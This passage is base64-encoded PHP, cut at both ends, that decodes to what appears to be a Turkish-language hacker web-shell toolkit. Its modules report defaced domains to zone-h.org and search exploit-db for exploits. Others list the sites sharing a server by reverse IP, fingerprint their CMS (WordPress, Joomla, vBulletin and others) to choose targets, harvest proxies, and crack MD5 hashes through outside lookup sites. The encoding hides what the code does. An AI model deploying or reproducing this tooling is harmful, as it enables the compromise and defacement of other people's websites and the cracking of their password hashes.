AgICRzaXRlcyA9ICJodHRwJTNBJTJGIi4kaXpvcWVhcjsNCiAgICAgICAgJGN1cmw9Y3VybF9pbml0KCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwiaHR0cDovL3pvbmUtaC5vcmcvbm90aWZ5L3NpbmdsZSIpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9QT1NULCAxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUE9TVEZJRUxEUywiZGVmYWNlcj0kaGV5a2lyaXpvJmRvbWFpbjE9JHNpdGVzJmhhY2ttb2RlPTMmcmVhc29uPTIiKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDYuMDsgV2luZG93cyBOVCA1LjE7IFNWMTsgR1RCNi42OyAuTkVUIENMUiAyLjAuNTA3Mjc7IC5ORVQgQ0xSIDMuMC40NTA2LjIxNTI7IC5ORVQgQ0xSIDMuNS4zMDcyOSknKTsNCiAgICAgICAgJHNpdGUgPSBjdXJsX2V4ZWMgKCRjdXJsKTsNCiAgICAgICAgaWYoIWVyZWdpKCdFUlJPUicsJHNpdGUpKSB7DQogICAgICAgIGVjaG8gIjxicj48Zm9udCBjb2xvcj1yZWQ+ICBH9m5kZXJpbGRpIDwvZm9udD4iOw0KICAgICAgICB9DQogICAgICAgIGVsc2Ugew0KICAgICAgICBlY2hvICI8YnI+PGZvbnQgY29sb3I9Ymx1ZT4gICBH9m5kZXJpbGVtZWRpICA9KDwvZm9udD48L2NlbnRlcj4iOw0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICB9DQogICAgIA0KICAgICAgICBpZiggJHJlZCA9PSAibGlzdGVyIiApIHsNCiAgICAgICAgZWNobyAnDQogICAgICAgIDxicj48aDM+QmFzYSBWZSBTb25hIEtvZCBFa2xleWljaSA8L2gzPjxicj4NCiAgICAgICAgPGZvbnQgY29sb3I9cmVkPg0KICAgICAgICAjIyMgS3VsbGFuaW0gIyMjPGJyPg0KICAgICANCiAgICAgICAgSXN0ZWRpZ2luaXogS2VsaW1lbGVyaW4gQmFzaW5hIFZlIFNvbnVkYSBrb2QgRWtsZW1layBJc3RlcnNlbml6IGL8efxrIGJvc2x1Z2EgYW5hIGtlbGltZWxlcmluaXppPGJyPg0KICAgICANCiAgICAgICAgYWx0dGFraSBraXNpbWxhcmRhbiBiYXNhIHZlIHNvbmEgZWtsZW1layBpc3RlZGlnaW5peiBrZWxpbWVsZXJpIHlhemluPGJyPjxicj48YnI+PC9mb250Pg0KICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4NCiAgICAgICAgPGJyPjx0ZXh0YXJlYSBuYW1lPSJpem9xZWFyIiBzdHlsZT0iaGVpZ2h0OiAyMDRweDsgd2lkdGg6IDU3MXB4Ij48L3RleHRhcmVhPjxicj48YnI+DQogICAgICAgIEJhcyBLaXNtYSBFcWxlID08aW5wdXQgbmFtZT1iYXMgdHlwZT10ZXh0Pjxicj4NCiAgICAgICAgU29uIEtpc21hIEVxbGUgPTxpbnB1dCBuYW1lPXNvbiB0eXBlPXRleHQ+PGJyPg0KICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkVxTGUiPjxicj4nOw0KICAgICAgICAkaXpvcWVhciA9ICRfUE9TVFsnaXpvcWVhciddOw0KICAgICAgICAkYmFzID0gJF9QT1NUWydiYXMnXTsNCiAgICAgICAgJHNvbiA9ICRfUE9TVFsnc29uJ107DQogICAgICAgICRpem9xZWFyID0gZXhwbG9kZSgiXG4iLCRpem9xZWFyKTsNCiAgICAgICAgZm9yZWFjaCgkaXpvcWVhciBhcyAkaXpvKXsNCiAgICAgICAgJGl6byA9IHRyaW0oJGl6byk7DQogICAgICAgIGVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9cmVkPiIuJGJhcy4kaXpvLiRzb24uIjxicj48L2NlbnRlcj4iOw0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYoICRyZWQgPT0gImV4cGxvaXQiICkgew0KICAgICAgICBlY2hvICcNCiAgICAgICAgPGJyPjxoMz5FeHBsb2l0LWRiIEV4cGxvaXQgQXJheWljaSAgPC9oMz48YnI+DQogICAgICAgIDxmb250IGNvbG9yPXJlZD4NCiAgICAgICAgIyMjIEt1bGxhbmltICMjIzxicj4NCiAgICAgICAg1nJuZWsgOiA8YnI+DQogICAgIA0KICAgICAgICBBcmFtYWsgSXN0ZWRpZ2luIEV4cGxvaXQgID0gSm9vbWxhIFJGSTxicj4NCiAgICAgDQogICAgICAgIFNhbGRpcmkgWWFwaWxjYWsgUG9ydCBOdW1hcmFzaSA9IDIxPGJyPg0KICAgICANCiAgICAgICAgTmUgQXJhbWFrIGlzdGl5b3JzYW5peiBpc3RlZ2luaXppIG9uYSBn9nJlIGJlbGlybGV5ZWJpbGlyc2luaXo8YnI+PGJyPjxicj48YnI+PGJyPg0KICAgICANCiAgICAgICAgPC9mb250Pg0KICAgICAgICA8Zm9ybSBhY3Rpb249Ij9yZWQ9ZXhwbG9pdCIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgQXJhbWFrIElzdGVkaWdpbiBFeHBsb2l0ID0gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImJhc2xpayI+IDxicj4NCiAgICAgICAgU2FsZGlyaSBZYXBpbGNhayBQb3J0IE51bWFyYXNpID08aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icG9ydCI+IDxicj4NCiAgICAgICAgSGVkZWYgSXNsZXRpbSBTaXN0ZW1pID0NCiAgICAgICAgPHNlbGVjdCBuYW1lPSJpc2xldGltIiBpZD0iaXNsZXRpbSI+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjAiPkhpY0Jpcmk8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMSI+YWl4PC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjQ2Ij5hcm08L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMiI+YXNwPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjMiPmJzZDwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSI0Ij5ic2QvcHBjPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjUiPmJzZC94ODY8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNiI+YnNkaS94ODY8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNDciPmNmbTwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSI3Ij5jZ2k8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iOCI+ZnJlZWJzZDwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSI5Ij5mcmVlYnNkL3g4Njwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIxMCI+ZnJlZWJzZC94ODYtNjQ8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMTEiPmdlbmVyYXRvcjwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIxMiI+aGFyZHdhcmU8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMTMiPmhwLXV4PC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjE0Ij5pcml4PC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjE1Ij5qc3A8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMTciPmxpbi9hbWQ2NDwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIyMSI+bGluL3g4Njwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIyMiI+bGluL3g4Ni02NDwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIxNiI+bGludXg8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMTgiPmxpbnV4L21pcHM8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMTkiPmxpbnV4L3BwYzwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIyMCI+bGludXgvc3BhcmM8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMjMiPm1pbml4PC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjI0Ij5tdWx0aXBsZTwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIyNSI+bmV0YnNkL3g4Njwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSI0OCI+bmV0d2FyZTwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIyNiI+bm92ZWxsPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjI3Ij5vcGVuYnNkPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjI4Ij5vcGVuYnNkL3g4Njwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIyOSI+b3MteC9wcGM8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMzAiPm9zWDwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIzMSI+cGhwPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjMyIj5wbGFuOTwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIzMyI+UU5YPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjM0Ij5zY288L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMzUiPnNjby94ODY8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMzYiPnNvbGFyaXM8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMzciPnNvbGFyaXMvc3BhcmM8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMzgiPnNvbGFyaXMveDg2PC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjM5Ij50cnU2NDwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSI0MCI+dWx0cml4PC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjQxIj51bml4PC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjQyIj51bml4d2FyZTwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSI0MyI+d2luMzI8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNDQiPndpbjY0PC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjQ1Ij53aW5kb3dzPC9vcHRpb24+DQogICAgIA0KICAgICAgICA8L3NlbGVjdD4NCiAgICAgICAgPGJyPg0KICAgICAgICA8bGFiZWwgZm9yPSJ0aXAiPlNhbGRpcmkgc3RpbGkgPTwvbGFiZWw+DQogICAgICAgIDxzZWxlY3QgbmFtZT0idGlwIiBpZD0idGlwIiBvbmNoYW5nZT0iY2hlY2tTZWxlY3RlZFR5cGVPblNlYXJjaEZvcm0oKTsiPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIwIj5IaWNiaXJpPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjEiPmRvczwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSIyIj5sb2NhbDwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSI1Ij5NYWthbGVsZXI8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMyI+cmVtb3RlPC9vcHRpb24+DQogICAgICAgIDxvcHRpb24gdmFsdWU9IjQiPnNoZWxsY29kZTwvb3B0aW9uPg0KICAgICAgICA8b3B0aW9uIHZhbHVlPSI2Ij5XZWIgQWNpa2xhcmk8L29wdGlvbj4NCiAgICAgICAgPC9zZWxlY3Q+DQogICAgICAgIDxicj4NCiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9ImJ1bCBiYWthbGltIj48YnI+JzsNCiAgICAgICAgJGJhc2xpayA9ICRfUE9TVFsnYmFzbGlrJ107DQogICAgICAgICRpc2xldGltID0gJF9QT1NUWydpc2xldGltJ107DQogICAgICAgICR0aXAgPSAkX1BPU1RbJ3RpcCddOw0KICAgICAgICAkcG9ydCA9ICRfUE9TVFsncG9ydCddOw0KICAgICAgICBpZihpc3NldCgkYmFzbGlrKSkgew0KICAgICAgICAkc2F5ZmExID0gIjEwIjsNCiAgICAgICAgJGJhc2xpazEgPSB1cmxlbmNvZGUoJGJhc2xpayk7DQogICAgICAgIGZvciggJHNheWZhID0gMSA7ICRzYXlmYSA8PSAkc2F5ZmExIDsgJHNheWZhKysgKSB7DQogICAgICAgICRpem8gPSBmaWxlX2dldF9jb250ZW50cygiaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9zZWFyY2gvP2FjdGlvbj1zZWFyY2gmZmlsdGVyX3BhZ2U9JHNheWZhJmZpbHRlcl9kZXNjcmlwdGlvbj0kYmFzbGlrMSZmaWx0ZXJfZXhwbG9pdF90ZXh0PSZmaWx0ZXJfYXV0aG9yPSZmaWx0ZXJfcGxhdGZvcm09JGlzbGV0aW0mZmlsdGVyX3R5cGU9JHRpcCZmaWx0ZXJfbGFuZ19pZD0wJmZpbHRlcl9wb3J0PSRwb3J0JmZpbHRlcl9vc3ZkYj0mZmlsdGVyX2N2ZT0iKTsNCiAgICAgICAgcHJlZ19tYXRjaF9hbGwoJy88dGQgY2xhc3M9Imxpc3RfZXhwbG90X2RhdGUiPiguKj8pPHRkIGNsYXNzPSJsaXN0X2V4cGxvdF9kbGluayI+L3NpJywgJGl6bywgJHNpdGVtaSk7DQogICAgICAgIHByZWdfbWF0Y2hfYWxsKCcvPHRkIGNsYXNzPSJsaXN0X2V4cGxvdF9hdXRob3IiPiguKj8pPHRkIGNsYXNzPSJsaXN0X2V4cGxvdF9kYXRlIj4vc2knLCAkaXpvLCAkc2l0ZW0pOw0KICAgICAgICBwcmVnX21hdGNoX2FsbCgnLzx0ZCBjbGFzcz0ibGlzdF9leHBsb3RfZGVzY3JpcHRpb24iPiguKj8pPHRkIGNsYXNzPSJsaXN0X2V4cGxvdF9jbGlja3MiPi9zaScsICRpem8sICRzaXRlbWlzKTsNCiAgICAgICAgJGxpbmsgPSBjb3VudCgkc2l0ZW1pc1swXSk7DQogICAgICAgIGZvcigkaSA9IDAgOyAkaSA8ICRsaW5rIDsgJGkrKykgew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj1SZWQ+VGFyaWg6PC9mb250Pic7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPWJsdWU+Ii4kc2l0ZW1pWzBdWyRpXTsNCiAgICAgICAgZWNobyAnPC9mb250Pjxmb250IGNvbG9yPVJlZD5FeHBsb2l0OiA8L2ZvbnQ+JzsNCiAgICAgICAgZWNobyAkc2l0ZW1pc1swXVskaV0uIjxicj4iOw0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmKCAkcmVkID09ICJyZXZlcnNlIiApIHsNCiAgICAgICAgZWNobyAnDQogICAgICAgIDxicj48aDM+IFJldmVyc2UgSXAgTGlzdGVsZXlpY2kgPC9oMz48YnI+DQogICAgICAgIDxmb250IGNvbG9yPXJlZD48YnI+DQogICAgICAgICMjIyBLdWxsYW5pbSAjIyM8YnI+DQogICAgIA0KICAgICAgICBLdXR1Y3VnYSB3d3cudGFyZ2V0LmNvbSB5YWRhIHRhcmdldC5jb20gc2VrbGluZGUgZ2lyaW5pejxicj48YnI+PGJyPiA8L2ZvbnQ+DQogICAgICAgIDxmb3JtIGFjdGlvbj0iP3JlZD1yZXZlcnNlIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICA8Y2VudGVyPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJpem9xZWFyIiA+DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJidWwgYmFrYWxpbSI+PGJyPjwvY2VudGVyPic7DQogICAgICAgICRpem9xZWFyID0gJF9QT1NUWydpem9xZWFyJ107DQogICAgICAgIGlmKGlzc2V0KCRpem9xZWFyKSkgew0KICAgICAgICAkaXpvMiA9ICJodHRwOi8vd3d3LnlvdWdldHNpZ25hbC5jb20vdG9vbHMvd2ViLXNpdGVzLW9uLXdlYi1zZXJ2ZXIvcGhwL2dldC13ZWItc2l0ZXMtb24td2ViLXNlcnZlci1qc29uLWRhdGEucGhwP3JlbW90ZUFkZHJlc3M9IjsNCiAgICAgICAgJGl6b3FlYXIyID0gJGl6bzIuJGl6b3FlYXI7DQogICAgICAgICRpem8gPSBmaWxlX2dldF9jb250ZW50cygkaXpvcWVhcjIpOw0KICAgICAgICBwcmVnX21hdGNoX2FsbCgnLyIoLio/KSIvc2knLCAkaXpvLCAkc2l0ZW1pcyk7DQogICAgICAgIGZvcmVhY2goYXJyYXlfdW5pcXVlKCRzaXRlbWlzWzFdKSBhcyAkcmV2ZXJzZSkgew0KICAgICAgICBpZihzdHJzdHIoJHJldmVyc2UsJy4nKSkgew0KICAgICAgICBpZihlcmVnaSgnd3d3JywkcmV2ZXJzZSkpIHsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9cmVkPmh0dHA6Ly8nLiRyZXZlcnNlLiI8YnI+PC9mb250PiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZSB7DQogICAgICAgIGVjaG8gJzxmb250IGNvbG9yPXJlZD5odHRwOi8vd3d3LicuJHJldmVyc2UuIjxicj48L2ZvbnQ+IjsNCiAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmKCAkcmVkID09ICJheWlyIiApIHsNCiAgICAgICAgZWNobyAnDQogICAgICAgIDxicj48aDM+IFNlcnZlciBTY3JpcHQgTGlzdGVyICA8L2gzPjxicj4NCiAgICAgICAgPGZvbnQgY29sb3I9cmVkPjxicj4NCiAgICAgICAgIyMjIEt1bGxhbmltICMjIzxicj4NCiAgICAgICAgaHR0cDovL3d3dy5oZWRlZi5jb208YnI+DQogICAgICAgIGh0dHA6Ly93d3cudGFyZ2V0LmNvbTxicj4NCiAgICAgICAgPGJyPg0KICAgICAgICBzZWtsaW5kZSBzZXJ2ZXJkYWtpIHNpdGVsZXJpIHlhemluPGJyPg0KICAgICAgICA8YnI+DQogICAgICAgIFdvcmRwcmVzcyA9IE1hdmkgPGJyPg0KICAgICAgICBKb29tbGEgPSBLaXJtaXppIDxicj4NCiAgICAgICAgU21mID0gU2l5YWg8YnI+DQogICAgICAgIFZidWxsZXRpbiA9IFllc2lsPGJyPg0KICAgICAgICBQaHBCQiA9IEdyaTxicj4NCiAgICAgICAgPGJyPg0KICAgICAgICBSZW5rbGVybGUgQmVsaXJ0aWxtaXN0aXI8YnI+PGJyPjxicj48L2ZvbnQ+DQogICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPjxicj4NCiAgICAgICAgU2VydmVyZGEgU2NyaXB0IFRhcmEgPTx0ZXh0YXJlYSBuYW1lPSJpem9xZWFyIiBjb2xzPSIzNSIgcm93cz0iNyI+PC90ZXh0YXJlYT48YnI+DQogICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iQ2VrIFVsZW4iPjxicj4nOw0KICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICBzZXRfdGltZV9saW1pdCgwKTsNCiAgICAgICAgJGl6b2ltdGFyYSA9ICRfUE9TVFsnaXpvaW10YXJhJ107DQogICAgICAgICRpem9xZWFyID0gJF9QT1NUWydpem9xZWFyJ107DQogICAgICAgICRpem9xZWFyID0gZXhwbG9kZSgiXG4iLCRpem9xZWFyKTsNCiAgICAgICAgZm9yZWFjaCgkaXpvcWVhciBhcyAkaXpvKXsNCiAgICAgICAgJGl6bz10cmltKCRpem8pOw0KICAgICAgICAkY3VybD1jdXJsX2luaXQoKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVElNRU9VVCwgMjApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VSTCwkaXpvKTsNCiAgICAgICAgJGl6b3M9Y3VybF9leGVjKCRjdXJsKTsNCiAgICAgICAgaWYoZXJlZ2koJ3NtZicsJGl6b3MpKXsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9YmxhY2s+ICRpem8gPC9mb250PiA8YnI+ICI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmIChlcmVnaSgndmJ1bGxldGluJywkaXpvcykpew0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj4gJGl6byA8L2ZvbnQ+PGJyPiI7DQogICAgICAgIG9iX2ZsdXNoKCk7DQogICAgICAgIGZsdXNoKCk7DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmKGVyZWdpKCdwaHBiYicsJGl6b3MpKXsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9Z3JleT4gJGl6byA8L2ZvbnQ+PGJyPiI7DQogICAgICAgIG9iX2ZsdXNoKCk7DQogICAgICAgIGZsdXNoKCk7DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmKGVyZWdpKCd3b3JkcHJlc3MnLCRpem9zKSl7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPWJsdWU+ICRpem8gPC9mb250Pjxicj4iOw0KICAgICAgICBvYl9mbHVzaCgpOw0KICAgICAgICBmbHVzaCgpOw0KICAgICAgICB9DQogICAgICAgIGVsc2VpZihlcmVnaSgnam9vbWxhJywkaXpvcykpew0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+ICRpem8gPC9mb250Pjxicj4iOw0KICAgICAgICBvYl9mbHVzaCgpOw0KICAgICAgICBmbHVzaCgpOw0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZiggJHJlZCA9PSAicHJveHkiICkgew0KICAgICAgICBlY2hvICcNCiAgICAgICAgPGJyPjxoMz4gUHJveHkgTGlzdGVyICA8L2gzPjxicj4NCiAgICAgICAgPGZvbnQgY29sb3I9cmVkPjxicj4NCiAgICAgICAgIyMjIEt1bGxhbmltICMjIzxicj4NCiAgICAgICAgaHR0cDovL2FsaXZlcHJveHkuY29tL3Byb3h5LWxpc3QtcG9ydC04MC8gPGJyPg0KICAgICANCiAgICAgICAgZ2liaSA8YnI+DQogICAgIA0KICAgICAgICBJUDpwb3J0IFNla2xpbmRlIHZlcmVuIHNpdGVsZXJpbiBoZXBzaW5kZW4gQvx0/G4gcHJveHlsZXJpIOdla2ViaWxpcnNpbml6IDxicj48YnI+PGJyPjwvZm9udD4NCiAgICAgICAgPGJyPg0KICAgICAgICA8YnI+DQogICAgICAgIDxjZW50ZXI+PGZvcm0gaWQ9ImZvcm0iIG5hbWU9ImZvcm0iIG1ldGhvZD0icG9zdCIgYWN0aW9uIj9yZWQ9cHJveHkiPg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaXpvcWVhciIgdmFsdWU9Iic7DQogICAgICAgIGVjaG8gJGl6b3FlYXI7DQogICAgICAgIGVjaG8gJyI+IDxicj4NCiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IudhbCBiYXFhbSIgPiA8YnI+PC9jZW50ZXI+JzsNCiAgICAgICAgJGl6b3FlYXIgPSAkX1BPU1RbJ2l6b3FlYXInXTsNCiAgICAgICAgaWYoIWVtcHR5KCRpem9xZWFyKSkgew0KICAgICAgICAkaXpvPWZpbGVfZ2V0X2NvbnRlbnRzKCRpem9xZWFyKTsNCiAgICAgICAgcHJlZ19tYXRjaF9hbGwoIi9bMC05XSpcLlswLTldKlwuWzAtOV0qXC5bMC05XSpcOlswLTldKi8iLCRpem8sJHByb3h5KTsNCiAgICAgICAgZm9yZWFjaCgkcHJveHlbMF0gYXMgJHBybyl7DQogICAgICAgIHByaW50ICRwcm8uIjxicj4iOw0KICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZiggJHJlZCA9PSAibWQ1IiApIHsNCiAgICAgICAgc2V0X3RpbWVfbGltaXQoMCk7DQogICAgICAgIGVjaG8gJw0KICAgICAgICA8YnI+PGgzPiAgICAgTUQ1IExvb2t1cCAgPC9oMz48YnI+DQogICAgIA0KICAgICAgICA8Zm9udCBjb2xvcj1yZWQ+PGJyPg0KICAgICAgICAjIyMgS3VsbGFuaW0gIyMjPGJyPg0KICAgICANCiAgICAgICAgR2VyZWtsaSBLdXR1Y3VnYSBraXJpbGFjYWsgbWQ1aSB5YXppbiA0MCBmYXJrbGkgc2l0ZWRlIGtpcm1heWEg52FsaXNpcjxicj48YnI+PGJyPjxicj48L2ZvbnQ+DQogICAgICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSIiPg0KICAgICAgICBNZDUgQ3JhY2tlciA8YnI+IDxpbnB1dCBuYW1lPWl6b2lta2lyIHR5cGU9dGV4dCB2YWx1ZT0iJzsNCiAgICAgICAgZWNobyAkaXpvaW1raXI7DQogICAgICAgIGVjaG8gJyI+PGJyPg0KICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkNyYWNrIj48YnI+JzsNCiAgICAgICAgJGl6b2lta2lyID0gJF9QT1NUWydpem9pbWtpciddOw0KICAgICAgICBpZihpc3NldCgkaXpvaW1raXIpKSB7DQogICAgIA0KICAgICAgICAvL1Bhc3NjcmFja2luZw0KICAgICAgICAkY3VybD1jdXJsX2luaXQoKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCJodHRwOi8vcGFzc2NyYWNraW5nLmNvbS9pbmRleC5waHAiKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUE9TVCwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1BPU1RGSUVMRFMsImFkbWluPWZhbHNlJmFkbWluMj03Ny5waHAmZGF0YWZyb211c2VyPSRpem9pbWtpciIpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMTsgU1YxOyBHVEI2LjY7IC5ORVQgQ0xSIDIuMC41MDcyNzsgLk5FVCBDTFIgMy4wLjQ1MDYuMjE1MjsgLk5FVCBDTFIgMy41LjMwNzI5KScpOw0KICAgICAgICAkc2l0ZWsgPSBjdXJsX2V4ZWMgKCRjdXJsKTsNCiAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyNGRjAwMDA+KC4qPyk8L3RkPjx0ZD4jc2knLCAkc2l0ZWssICRtZXRhc2l0ZTMpOw0KICAgICAgICBmb3JlYWNoKCRtZXRhc2l0ZTNbMV0gYXMgJHNpdGUzKSB7DQogICAgICAgIGVjaG8gJHNpdGUzOw0KICAgICAgICBvYl9mbHVzaCgpOw0KICAgICAgICBmbHVzaCgpOw0KICAgICAgICB9DQogICAgICAgIGN1cmxfY2xvc2UoJGN1cmwpOw0KICAgICANCiAgICAgICAgLy9hbGltYW1lZC5wcC5ydSArKw0KICAgICAgICAkY3VybD1jdXJsX2luaXQoKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCJodHRwOi8vYWxpbWFtZWQucHAucnUvbWQ1Lz9tZDVlPSZtZDVkPSRpem9pbWtpciIpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMTsgU1YxOyBHVEI2LjY7IC5ORVQgQ0xSIDIuMC41MDcyNzsgLk5FVCBDTFIgMy4wLjQ1MDYuMjE1MjsgLk5FVCBDTFIgMy41LjMwNzI5KScpOw0KICAgICAgICAkc2l0ZW4gPSBjdXJsX2V4ZWMgKCRjdXJsKTsNCiAgICAgICAgJGthem1hID0gZXhwbG9kZSgiPGI+IiwgJHNpdGVuKTsNCiAgICAgICAgJHNhcCA9IGV4